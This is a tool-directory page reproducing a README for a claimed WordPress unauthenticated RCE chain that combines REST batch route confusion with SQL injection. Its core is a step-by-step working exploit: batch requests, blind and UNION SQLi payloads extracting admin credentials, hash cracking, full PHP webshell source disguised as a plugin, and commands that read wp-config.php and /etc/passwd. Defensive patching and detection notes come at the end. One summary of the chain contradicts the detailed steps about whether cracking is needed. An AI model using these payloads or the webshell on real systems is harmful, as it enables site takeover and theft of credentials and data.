Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-60137_CVE-2026-63030 — WordPress unauthenticated RCE exploit combining route confusion and SQL injection. Automated script, lab setup, and detailed vulnerability analysis provided. | Kitploit
Tools/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

WordPress unauthenticated RCE exploit combining route confusion and SQL injection. Automated script, lab setup, and detailed vulnerability analysis provided.

View Repository
21 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-60137 + CVE-2026-63030 — WordPress Unauthenticated RCE

Vulnerability: REST Batch Route Confusion + WP_Query SQL Injection → Full RCE

CVSS v3.1: 10.0 / 10.0 — CRITICAL | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Affected: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | Patched: 6.9.5, 7.0.2

root@kitploit:~
Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

Quick Start

1. Set Up the Vulnerable Lab

Requirements: Docker + Docker Compose

root@kitploit:~
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. Run the Exploit

root@kitploit:~
pip install requests

# Full auto chain — interactive shell
python3 exploit.py http://localhost:8080

# Or run a single command
python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

# Check-only mode (no exploitation)
python3 exploit.py http://localhost:8080 --check-only

3. Expected Output

root@kitploit:~
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image
image

Files in This Repository

FileDescription
README.mdFull vulnerability analysis and exploitation writeup
exploit.pyAutomated exploit script (zero-access → RCE in one command)
docker-compose.ymlVulnerable WordPress lab environment
chain-rce.mdAutomated RCE chain documentation
images/Screenshots from manual exploitation

Detailed Vulnerability Analysis

CVE-2026-60137 (chained with CVE-2026-63030)

Vulnerability: Unauthenticated Remote Code Execution — REST Batch Route Confusion + WP_Query SQL Injection

CVSS v3.1: 10.0 / 10.0 — CRITICAL

Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. Overview

CVE-2026-60137 is an unauthenticated RCE vulnerability in WordPress core. It combines two independent bugs into a complete exploit chain from zero-access to full server compromise:

CVEBugRole in chain
CVE-2026-63030REST Batch Route ConfusionBypass authentication
CVE-2026-60137author__not_in SQL InjectionArbitrary database read/write

Affected versions:

  • Full RCE: WordPress 6.9.0 – 6.9.4, 7.0.0 – 7.0.1
  • SQLi only (requires supporting plugin): 6.8.0 – 6.8.5
  • Patched: 6.9.5, 7.0.2, 7.1-beta2+

Exploitation conditions:

  • REST API is public (WordPress default)
  • No persistent object cache (default is none)
  • At least 1 published post (default "Hello World" exists)
  • No account or session required whatsoever

→ The vast majority of WordPress installations are vulnerable by default.

2. Terminology

REST Batch Endpoint (/wp-json/batch/v1)

Allows sending multiple REST API requests within a single HTTP request:

root@kitploit:~
POST /wp-json/batch/v1
{
  "requests": [
    {"method": "GET", "path": "/wp/v2/posts/1"},
    {"method": "GET", "path": "/wp/v2/users/me"}
  ]
}

Each sub-request is matched with its own handler, and each handler has its own permission callback.

WP_Query — author__not_in

Core database query class. The author__not_in parameter accepts an array of integers, generating the SQL clause:

root@kitploit:~
AND post_author NOT IN (5, 12, 23)

Each element passes through absint() → retaining only the integer part.

wp_parse_url()

Wrapper for parse_url(). When receiving an invalid URL → returns WP_Error.

root@kitploit:~
wp_parse_url("https://example.com/path")  // → OK
wp_parse_url("///")                         // → WP_Error

3. Root Cause — Bug A: Batch Route Confusion (CVE-2026-63030)

File: wp-includes/rest-api/class-wp-rest-server.php

Vulnerable Source Code:

root@kitploit:~
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

Mechanism:

root@kitploit:~
Batch Request:
  [0]: {"method": "POST", "path": "///"}         ← PRIMER (malformed)
  [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing:
  i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added
  i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch:
  i=0: skip (already has response)
  i=1: $handler = $matches[0]
       → But $matches[0] is NOT the handler meant for request[1]
       → Incorrect permission callback → bypass authentication

Why does "///" trigger the bug?

When PHP parse_url() encounters "///", it attempts to parse it according to RFC 3986 — URL structure:

root@kitploit:~
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

When receiving "///", it interprets it as:

root@kitploit:~
//   → authority begins (double slash = has host)
/    → empty authority, path begins immediately
→ host = ""  (empty)
→ path = ""  (empty)
→ scheme = none

PHP return result:

root@kitploit:~
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPress wraps this in wp_parse_url() → detects no valid scheme, no valid host, no meaningful path → returns WP_Error.

wp_parse_url("///") returns WP_Error (URL malformed). This error causes the request to be skipped in the loop building $matches, but it is NOT skipped in the dispatch loop → the array becomes desynced.

4. Root Cause — Bug B: SQL Injection (CVE-2026-60137)

File: wp-includes/class-wp-query.php

Vulnerable Source Code:

root@kitploit:~
class WP_Query {
    public function get_posts() {
        global $wpdb;

        if ( ! empty( $q['author__not_in'] ) ) {
            $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
            $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
            //                                                   ↑ INJECTION POINT
        }
    }
}

Normal (Safe) Path:

root@kitploit:~
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

REST controller (class-wp-rest-posts-controller.php):

root@kitploit:~
$args['author__not_in'] = array_map('absint', (array)$request['author_exclude']);
// "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0]
// → SAFE

Path with Route Confusion (Vulnerable):

root@kitploit:~
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

When the batch desync occurs, request params do not pass through the REST controller → the raw string goes straight into WP_Query → wp_parse_id_list() has an edge case bypass → SQL injection.

Payload:

root@kitploit:~
author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

Generated SQL:

root@kitploit:~
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. Why Chain Both Bugs?

ScenarioResult
Bug A alone (Route Confusion)Bypass permission → but nothing to inject
Bug B alone (SQLi)REST controller always casts input → cannot inject
Bug A + Bug BConfusion bypasses controller → raw string into SQL → RCE

Individually, these two bugs are harmless. Only when chained:

  • Bug A: removes the sanitization layer (REST controller)
  • Bug B: injects SQL because sanitization was bypassed

6. Attack Chain Analysis

Phase 1: Route Confusion

root@kitploit:~
POST /wp-json/batch/v1
Content-Type: application/json

{
  "requests": [
    {"method": "POST", "path": "///"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}}
  ]
}

→ Response[0]: parse_path_failed (primer triggered)

→ Response[1]: rest_invalid_handler (handler desync confirmed)

Phase 2: SQL Injection — Extract Data

Blind Boolean :

root@kitploit:~
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

Compare TRUE vs FALSE response → binary search each character.

UNION In-Band :

root@kitploit:~
0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish',
'closed','closed','','slug','','',NOW(),NOW(),'',0,
CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

Fake post row containing credentials returned in the JSON response.

→ Result: successfully extracted user_login and user_pass (bcrypt hash) from wp_users.

Phase 3: Crack Hash → Login Admin

The hash obtained from Phase 2 is in bcrypt format ($wp$2y$10$...). Strip the $wp$ prefix → crack using john/hashcat + wordlist → get plaintext password → login at /wp-login.php.

Note: The injection point is inside the WHERE clause of SELECT. MySQL disables multi-statement → UNION is READ-only, not WRITE → cannot INSERT a new admin directly via SQLi. Must crack the hash to get a valid session.

Phase 4: Webshell Upload

root@kitploit:~
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

Phase 5: RCE

root@kitploit:~
GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id
→ uid=33(www-data) gid=33(www-data)

7. EXPLOITATION

Exploiting CVE-2026-60137 goes from zero access — no account, no password, no session — to full server control solely via HTTP requests.

Requirements: Target is running WordPress 6.9.0–6.9.4 or 7.0.0–7.0.1 with REST API public (enabled by default). No need to log in or know any credentials.

The exploit chain consists of 5 phases:

root@kitploit:~
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 Phase 1: Confirm Route Confusion

Goal: Confirm the target is vulnerable — the handler array is desynced when sending the primer path "///".

Principle: The batch endpoint allows sending multiple REST requests in 1 HTTP call. When wp_parse_url("///") fails, WordPress skips that request when building the $matches array but DOES NOT skip it during dispatch → handlers are offset → the subsequent request runs with the wrong permission callback → bypass authentication.

Send request:

root@kitploit:~
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

Response:

root@kitploit:~
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

How to read:

images/image.png

ResponseCodeMeaning
[0]parse_path_failedPrimer works — wp_parse_url("///") failed
[1]rest_invalid_handlerDESYNC! Request received wrong handler → auth bypass

We observe that rest_invalid_handler means: "WordPress realizes the handler DOES NOT MATCH the request"

→ Meaning the $matches array IS ALREADY DESYNCED, the primer "///" HAS WORKED and this desync CAN BE exploited to make the request run with the permission callback OF ANOTHER ROUTE (a route that does not require auth) → AUTH BYPASS IS POSSIBLE

Seeing rest_invalid_handler → Bug A confirmed.

7.2 Phase 2: Confirm SQL Injection

Step 1 — TRUE vs FALSE

TRUE (OR 1=1):

images/image.png

root@kitploit:~
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

FALSE (AND 1=2):

images/image.png

root@kitploit:~
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

Difference in X-WP-Total → SQLi confirmed.

Step 2 — Extract admin username (Blind Boolean)

1st Character:

images/image.png

root@kitploit:~
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

CHAR(97) = 'a'. X-WP-Total=8 (TRUE) → so the first character is 'a'

By enumerating sequentially, we get: user_login = "admin"

Step 3 — Extract password hash

root@kitploit:~
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

images/image.png

Use Binary Search to determine the ASCII code of each character in user_pass:

root@kitploit:~
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30  →  X-WP-Total: 8  (TRUE)
Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40  →  X-WP-Total: 0  (FALSE)

Two opposing responses confirm the first character's ASCII falls within the range (30, 40]. Continue narrowing down:

root@kitploit:~
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

Continue binary searching each position → obtain the hash prefix string $wp$:

Continue using BLIND SQL character by character:

PositionASCIICharacterNotes
136$Hash prefix
2119w
3112p
436$→ $wp$ = bcrypt variant
5-20...2y$10$aJgATdlhfICost factor + salt

→ Full hash: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 Phase 3: Login Admin

After Phase 2, we have:

  • user_login = admin
  • user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

Crack Hash

WordPress hashes use the bcrypt format ($2y$10$), with a cost factor of 10. Before cracking, we need to strip the $wp$ prefix because hashcat/john only accepts pure bcrypt:

root@kitploit:~
# Save the pure bcrypt part (remove $wp$ prefix)
echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt
# Crack using john
john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

Result:

images/image.png

Password admin123 is in the wordlist → john cracks it successfully immediately.

→ Successfully logged in at /wp-login.php with admin:admin123.

7.4 Phase 4: Upload Webshell

At this point, we have a valid admin session. The next goal is to plant a backdoor on the server to maintain access independently of credentials.

WordPress allows admins to upload plugins in ZIP format — this is a legitimate feature, and we will abuse it.

Create webshell

First, we need a PHP file that executes system commands. This file will be packaged into a fake plugin for WordPress to accept:

root@kitploit:~
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

The secret123 token acts as a password — preventing others from accidentally triggering the shell.

root@kitploit:~
mkdir shell && mv shell.php shell/
zip -r shell.zip shell/

images/image.png

Successfully created.

Upload to WordPress

After successfully creating shell.zip, upload the zip file to the plugin section to trigger it.

WordPress extracts and places the file at:

root@kitploit:~
/var/www/html/wp-content/plugins/shell/shell.php

The plugin appears in the list under the name "Maintenance Utility" with the status Active → the webshell is now ready to be triggered via HTTP.

images/image.png

UPLOAD and ACTIVE successful.

7.5 Phase 5: RCE

Thus, the Shell is on the server. Call it to execute the shell.

Confirm RCE:

root@kitploit:~
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

images/image.png

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Running as the www-data user — the web server's user. Next, escalate the impact:

Read WordPress configuration file:

root@kitploit:~
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

images/image.png

— Executes the command to read the wp-config.php file via webshell — exposing all WordPress secret keys (AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY, NONCE_KEY,...) and database credentials. This is the most sensitive information in a WordPress installation.

images/image.png

— The response returns the contents of wp-config.php including DB_NAME, DB_USER, DB_PASSWORD, DB_HOST — sufficient for direct database server access without going through WordPress.

Read all system users:

root@kitploit:~
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ Confirms OS-level access, no longer restricted to the WordPress scope.

At this point, the exploit chain is complete:

root@kitploit:~
Zero credentials
      ↓ Route Confusion (Bug A)
Auth bypass
      ↓ SQL Injection (Bug B)
admin:admin123
      ↓ hashcat/john
Admin session
      ↓ Plugin upload
Webshell active
      ↓ shell_exec()
Full RCE — www-data

7.6 Summary

#PhaseMethodPath
1SQLi TRUEPOST/?rest_route=/batch/v1
2SQLi FALSEPOST/?rest_route=/batch/v1
3Extract usernamePOST/?rest_route=/batch/v1
4Extract hashPOST/?rest_route=/batch/v1
5Login adminPOST/wp-login.php
6Get nonceGET/wp-admin/plugin-install.php
7Upload shellPOST/wp-admin/update.php
8ActivateGET/wp-admin/plugins.php
9RCEGET/wp-content/plugins/shell/shell.php

9 requests. Zero initial credentials. From the login page → full server control.

8. CVSS Breakdown

MetricValueReason
Attack VectorNetworkRemote via HTTP
Attack ComplexityLowDeterministic, no timing/race required
Privileges RequiredNoneCompletely unauthenticated
User InteractionNoneNo victim action required
ScopeChangedWP → OS level (www-data)
ConfidentialityHighFull DB read
IntegrityHighArbitrary DB write, file upload
AvailabilityHighDROP tables, ransomware

9. Impact

Technical

LayerImpact
DatabaseREAD/WRITE access to everything: wp_users, wp_options, wp_posts
ApplicationCreate admins, modify content, install backdoors
ServerRCE as www-data, read wp-config.php, /etc/passwd
NetworkPivot to internal services via DB credentials

Business

ScenarioConsequences
E-commerceLeak PII, steal payment keys, inject skimmers
CorporateDefacement, SEO spam, malware distribution
Multisite1 exploit → compromise the entire network
SaaS (WP marketing)Extract env vars → pivot into production

Data at Risk

  • wp_users: username, email, password hash
  • wp_usermeta: PII (name, phone, address), session_tokens
  • wp_options: DB creds, SMTP creds, payment API keys, WordPress salts
  • wp-config.php: database host/user/pass, secret keys
  • /proc/self/environ: environment variables

10. Defense and Remediation

10.1 Patch (Thorough)

Current VersionNeed to Upgrade To
6.9.0 – 6.9.46.9.5
7.0.0 – 7.0.17.0.2
6.8.x6.8.6

10.2 Code Fix

Bug A — Route Confusion:

root@kitploit:~
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

Bug B — SQL Injection:

root@kitploit:~
// BEFORE: wp_parse_id_list has an edge case
$author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint
$safe = array_map('absint', array_filter((array)$q['author__not_in']));
$author_not_in = implode(',', $safe);

10.3 Temporary Mitigation

1. Disable batch endpoint (most effective):

root@kitploit:~
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. Enable Redis/Memcached:

root@kitploit:~
wp plugin install redis-cache --activate
wp redis enable

→ UNION injection does not reflect (cache returns stale data).

3. WAF rule:

root@kitploit:~
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 Detection

Log patterns:

root@kitploit:~
POST /wp-json/batch/v1 HTTP/1.1" 207       ← anomalous batch requests
POST /wp-json/wp/v2/users HTTP/1.1" 201    ← newly created admin
POST /wp-admin/update.php HTTP/1.1" 200    ← plugin upload immediately after
GET /wp-content/plugins/*/shell.php" 200   ← webshell access

IOC check:

root@kitploit:~
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?
Download Tool